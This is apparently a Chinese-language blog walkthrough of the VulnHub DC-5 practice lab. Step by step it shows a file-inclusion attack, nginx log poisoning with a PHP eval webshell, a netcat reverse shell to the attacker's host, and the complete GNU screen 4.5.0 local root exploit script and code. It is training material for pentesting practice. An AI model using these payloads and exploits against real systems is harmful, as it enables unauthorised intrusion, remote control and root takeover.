[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

刺骨的言语ヽ痛彻心扉 2024-04-29 01:59 123阅读 0赞

? 博主介绍

?? 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
?点赞➕评论➕收藏 == 养成习惯(一键三连)?
?欢迎关注?一起学习?一起讨论⭐️一起进步?文末有彩蛋
?作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • ? 博主介绍
  • 一、环境搭建:
    • 1、靶场描述
    • 2、下载靶场环境
    • 3、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:寻找靶机真实IP
    • 3、信息收集:探端口及服务
    • 4、访问web服务
    • 5、bp爆破确认存在文件包含
    • 6、Fuzz确认存在文件包含漏洞
    • 7、确认日志文件的位置
    • 8、写入一句话木马
      • 1.写入phpinfo
      • 2.写入webshell
      • 3.蚁剑成功连接webshell
    • 9、新建shell文件
      • 1.创建powershell.php文件
      • 2.写入webshell
      • 3.访问一下新建的shell
      • 4.蚁剑连接新的webshell
    • 10、反弹shell到kali
      • 1.kali上监听
      • 2.靶机执行shell反弹命令
      • 3.反弹shell成功
      • 4.进入交互式shell
    • 11、suid提权
      • 1.发现screen-4.5.0
      • 2.查找screen 4.5.0漏洞脚本文件
      • 3.查看cat 41154.sh脚本文件
      • 4.将第一部分内容写到libhax.c并编译
      • 5.将第二部分的代码写入rootshell.c并编译
      • 6.将第三部分代码写入dc5.sh文件
      • 7.上传文件到靶机
        • 1、利用蚁剑上传
        • 2、利用卡里启服务靶机访问上传
        • 3、利用SCP从攻击机取文件
      • 8.执行dc5.sh
  • 三、相关资源

一、环境搭建:

1、靶场描述

  1. DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
  2. The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
  3. As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
  4. And just for the record, there is no phpmailer exploit involved. :-)
  5. The ultimate goal of this challenge is to get root and to read the one and only flag.
  6. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
  7. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
  8. But if you're really, really stuck, you can watch this video which shows the first step.

只有一个flag

2、下载靶场环境

靶场下载地址:

  1. https://www.vulnhub.com/entry/dc-5,314/

下载下来的文件如下
在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

使用nmap进行探活,寻找靶机ip

  1. nmap -sP 192.168.233.0/24

在这里插入图片描述

也可以使用arp-scan进行探活,寻找靶机ip

  1. arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.181

  1. 192.168.233.1 vm8网卡
  2. 192.168.233.2 网关
  3. 192.168.233.181 靶机
  4. 192.168.233.254 DHCP服务器
  5. 192.168.233.130 kali本机

3、信息收集:探端口及服务

使用nmap探活端口

  1. nmap -A -p- -v 192.168.233.180

在这里插入图片描述
在这里插入图片描述

发现开放了80端口,存在web服务,nginx 1.6.2
发现开放了111端口,rpcbind 2-4
发现开放了48338端口

也可以使用masscan探活端口
masscan —rate=10000 —ports 0-65535 192.168.233.181

在这里插入图片描述

然后进行web指纹识别

  1. whatweb -v 192.168.233.181

在这里插入图片描述

4、访问web服务

  1. http://192.168.233.181/

在这里插入图片描述

发现有一个留言板,随便输入一下并提交

  1. http://192.168.233.181/contact.php

在这里插入图片描述

提交完成之后发现切入点
页面跳转到Thankyou.php,并且在URL地址栏可以看到参数,GET方式传参

  1. http://192.168.233.181/thankyou.php?firstname=AAAAA&lastname=BBBBB&country=australia&subject=CCCCC

在这里插入图片描述

突然发现这儿变成2017了,之前好像是2019

在这里插入图片描述

琢磨琢磨,最后发现,只要一刷新页面,就会变,猜想存在文件包含

在这里插入图片描述

5、bp爆破确认存在文件包含

使用BurpSuite抓包,爆破后台页面,由于是php站,我们选择php字典

在这里插入图片描述

导入一个php字典,进行爆破

在这里插入图片描述

发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面

在这里插入图片描述

打开这几个页面,发现发开footer.php时,不断刷新,图标也在不断地变化,确认文件包含页面是footer.php

  1. http://192.168.233.181/footer.php

在这里插入图片描述

6、Fuzz确认存在文件包含漏洞

使用BurpSuite爆破文件包含的变量名即可能被包含的值

  1. http://192.168.220.139/thankyou.php?page=footer.php

选择草叉模式进行爆破,选择两个爆破点,一个是文件包含变量名,一个是包含值

在这里插入图片描述

导入第一个字典,变量名字典

在这里插入图片描述

导入第二个字典(passwd路径字典)

在这里插入图片描述

成功爆破出八对值,但是只有一个变量名

在这里插入图片描述

  1. /thankyou.php?file=%2e%2e%2fetc%2fpasswd

访问最短的吧路径,成功包含到字典

  1. http://192.168.233.181/thankyou.php?file=%2fetc%2fpasswd
  2. http://192.168.233.181/thankyou.php?file=/etc/passwd

在这里插入图片描述

7、确认日志文件的位置

由于前面信息收集我们确认了是nginx的站,访问日志和错误日志应该如下
Web日志目录及日志分析

  1. /var/log/nginx/access.log
  2. /var/log/nginx/error.log

包含看一下

  1. http://192.168.233.181/thankyou.php?file=/var/log/nginx/error.log

在这里插入图片描述

在这里插入图片描述

8、写入一句话木马

这里是接着之前来的,但是由于网络环境发生了变化
ip由192.168.233.181变成了192.168.233.184

1.写入phpinfo

写入phpinfo
访问如下日志文件,使用burpsuite抓包

  1. http://192.168.233.184/thankyou.php?file=/var/log/nginx/access.log

向日志文件中写入phpinfo一句话木马

  1. GET <?php phpinfo();?> HTTP/1.1

在这里插入图片描述

重新打开日志文件可以看到成功写入,成功回显出phpinfo信息

在这里插入图片描述

2.写入webshell

采用<?php @eval($_REQUEST[powershell])?>替换上面的<?php phpinfo();?>就OK。

  1. GET <?php @eval($_REQUEST[powershell])?> HTTP/1.1

在这里插入图片描述

3.蚁剑成功连接webshell

输入url和密码

  1. http://192.168.233.184/thankyou.php?file=/var/log/nginx/access.log
  2. Powershell

点击右上角测试连接,发现连接成功

在这里插入图片描述

点击左上角的添加数据

在这里插入图片描述

成功添加数据双击进入文件系统

在这里插入图片描述

9、新建shell文件

可以在服务器/tmp目录下新建一个powershell.php文件,写入一句话木马并重新连接

1.创建powershell.php文件

右键在tmp目录下新建php文件,名称为powershell.php。

在这里插入图片描述

2.写入webshell

双击powershell.txt进入编辑模式,写入shell并保存。

  1. hello-world!!!
  2. <?php
  3. @eval($_REQUEST[powershell])
  4. ?>

在这里插入图片描述

3.访问一下新建的shell

我们采用之前发现的文件包含漏洞包含我们新建的shell就可以访问到shell,我们的shell有输出,在页面下方可以看到我们的输出hello-world!!!。

  1. http://192.168.233.184/thankyou.php?file=/tmp/powershell.php

在这里插入图片描述

4.蚁剑连接新的webshell

蚁剑重新连接webshell,右键添加数据,填入url以及密码,url就是我们新建的shell地址。

  1. http://192.168.233.184/thankyou.php?file=/tmp/powershell.php
  2. powershell

在这里插入图片描述

连接成功右键进入虚拟终端

在这里插入图片描述

10、反弹shell到kali

蚁剑终端不如kali终端,我们反弹shell到kali

1.kali上监听

  1. nc -lnvp 55555

在这里插入图片描述

2.靶机执行shell反弹命令

  1. nc -e /bin/bash 192.168.233.130 55555

在这里插入图片描述

3.反弹shell成功

进入kali,发现反弹shell成功,执行id命令
这个shell有些不方便,需要进入交互式shell

在这里插入图片描述

4.进入交互式shell

这里使用python进入交互式shell,命令如下

  1. python -c "import pty;pty.spawn('/bin/bash')"

成功进入交互式shell

在这里插入图片描述

11、suid提权

使用find命令,查找具有suid权限的命令

1.发现screen-4.5.0

发现screen-4.5.0,使用41145.sh脚本提权
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
下面两条命令都行

  1. find / -user root -perm -4000 -print 2>/dev/null
  2. find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

接下来查找可用于screen 4.5.0的漏洞脚本文件

2.查找screen 4.5.0漏洞脚本文件

  1. searchsploit screen 4.5.0

在这里插入图片描述

我们发现有两个发现screen 4.5.0 存在本地特权提升的漏洞,我们利用第一个,将脚本复制到本目录下

  1. cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

在这里插入图片描述

3.查看cat 41154.sh脚本文件

查看cat 41154.sh脚本文件

  1. #!/bin/bash
  2. # screenroot.sh
  3. # setuid screen v4.5.0 local root exploit
  4. # abuses ld.so.preload overwriting to get root.
  5. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
  6. # HACK THE PLANET
  7. # ~ infodox (25/1/2017)
  8. echo "~ gnu/screenroot ~"
  9. echo "[+] First, we create our shell and library..."
  10. cat << EOF > /tmp/libhax.c
  11. #include <stdio.h>
  12. #include <sys/types.h>
  13. #include <unistd.h>
  14. __attribute__ ((__constructor__))
  15. void dropshell(void){
  16. chown("/tmp/rootshell", 0, 0);
  17. chmod("/tmp/rootshell", 04755);
  18. unlink("/etc/ld.so.preload");
  19. printf("[+] done!\n");
  20. }
  21. EOF
  22. gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
  23. rm -f /tmp/libhax.c
  24. cat << EOF > /tmp/rootshell.c
  25. #include <stdio.h>
  26. int main(void){
  27. setuid(0);
  28. setgid(0);
  29. seteuid(0);
  30. setegid(0);
  31. execvp("/bin/sh", NULL, NULL);
  32. }
  33. EOF
  34. gcc -o /tmp/rootshell /tmp/rootshell.c
  35. rm -f /tmp/rootshell.c
  36. echo "[+] Now we create our /etc/ld.so.preload file..."
  37. cd /etc
  38. umask 000 # because
  39. screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
  40. echo "[+] Triggering..."
  41. screen -ls # screen itself is setuid, so...
  42. /tmp/rootshell

在这里插入图片描述

4.将第一部分内容写到libhax.c并编译

按照脚本提示,先将第一部分内容写到libhax.c中(一共有三个部分)
创建一个文件夹存放三个部分的脚本

  1. mkdir dc-5
  2. cd dc-5

在这里插入图片描述

创建libhax.c文件,用vim编辑,当然,也可以直接使用vim创建文件

  1. touch libhax.c
  2. vim libhax.c

写入如下文件

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <unistd.h>
  4. __attribute__ ((__constructor__))
  5. void dropshell(void){
  6. chown("/tmp/rootshell", 0, 0);
  7. chmod("/tmp/rootshell", 04755);
  8. unlink("/etc/ld.so.preload");
  9. printf("[+] done!\n");
  10. }

在这里插入图片描述

确认文件写入成功

  1. cat libhax.c

在这里插入图片描述

然后编译这个脚本

  1. gcc -fPIC -shared -ldl -o libhax.so libhax.c

在这里插入图片描述

查看编译生成的os文件

在这里插入图片描述

5.将第二部分的代码写入rootshell.c并编译

将第二部分的代码写入rootshell.c文件并执行命令生成rootshell文件
这里我直接采用vim创建文件

  1. vim rootshell.c

写入如下内容

  1. #include <stdio.h>
  2. int main(void){
  3. setuid(0);
  4. setgid(0);
  5. seteuid(0);
  6. setegid(0);
  7. execvp("/bin/sh", NULL, NULL);
  8. }

确认文件写入成功

  1. cat rootshell.c

在这里插入图片描述

编译.c文件

  1. gcc -fPIC -shared -ldl -o rootshell.so rootshell.c

在这里插入图片描述

6.将第三部分代码写入dc5.sh文件

将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了防止脚本的格式错误。

  1. #!/bin/bash
  2. echo "[+] Now we create our /etc/ld.so.preload file..."
  3. cd /etc
  4. umask 000 # because
  5. screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
  6. echo "[+] Triggering..."
  7. screen -ls # screen itself is setuid, so...
  8. /tmp/rootshell
  9. :set ff=unix

在这里插入图片描述

完成3个步骤后之间把三个文件上传至靶机的/tmp文件下,然后执行./dc5即可提权。
将这三个文件传到靶机

在这里插入图片描述

这里我把不要的删除

  1. rm -rf libhax.c
  2. rm -rf rootshell.c
  3. rm -rf rootshell.so

在这里插入图片描述

7.上传文件到靶机

把三个文件上传至靶机的/tmp文件下,这里讲解三种思路

1、利用蚁剑上传

打开蚁剑,打开连接,进入文件系统,进入/tmp目录,右键选择文件上传就行了。
在这里插入图片描述

2、利用卡里启服务靶机访问上传

可以在kali里面相应文件目录下起一个服务,比如说python服务

  1. python -m http.server 80

然后靶机采用curl获取文件就行

  1. curl http://攻击机IP/文件名

这里我没有尝试,只提供一种思路,如果下载不下来可以尝试在服务端将文件打包

3、利用SCP从攻击机取文件

靶机shell中执行如下命令从攻击机取文件,需要注意的是,需要开放22端口

  1. scp -r root@192.168.233.130:/root/dc-5 /tmp/dc-5
  2. scp -r root@攻击机IP:文件所在绝对路径 目的地绝对路径

8.执行dc5.sh

在shell中切换到/tmp目录下(dc5.sh所在目录)

在这里插入图片描述

注意给dc5.sh加执行权限

  1. chmod +x dc5.sh
  2. chmod 777 dc5.sh

在这里插入图片描述

拿到root用户,成功提权
在root目录下拿到flag

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、nmap
3、文中用到的字典
4、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
5、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
6、简谈SUID提权
7、实现交互式shell的几种方式
8、masscan
9、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解
10、Web日志目录及日志分析

发表评论

表情:
评论列表 (有 0 条评论,123人围观)

还没有评论,来说两句吧...

相关阅读